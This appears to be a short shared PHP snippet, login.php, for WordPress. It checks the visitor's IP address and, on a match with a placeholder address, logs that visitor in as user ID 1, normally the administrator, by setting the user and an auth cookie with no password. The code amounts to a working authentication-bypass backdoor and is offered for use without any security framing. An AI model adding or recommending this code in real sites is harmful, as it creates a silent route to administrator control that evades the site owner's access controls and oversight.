WordPress PHP login

login.php

<?php
if($_SERVER['REMOTE_ADDR'] == 'x.x.x.x') {
    $user_id = 1;
    $user = get_user_by( 'id', $user_id ); 
    if( $user && !is_user_logged_in()) {
        wp_set_current_user( $user_id, $user->user_login );
        wp_set_auth_cookie( $user_id );
        do_action( 'wp_login', $user->user_login, $user );
    }
}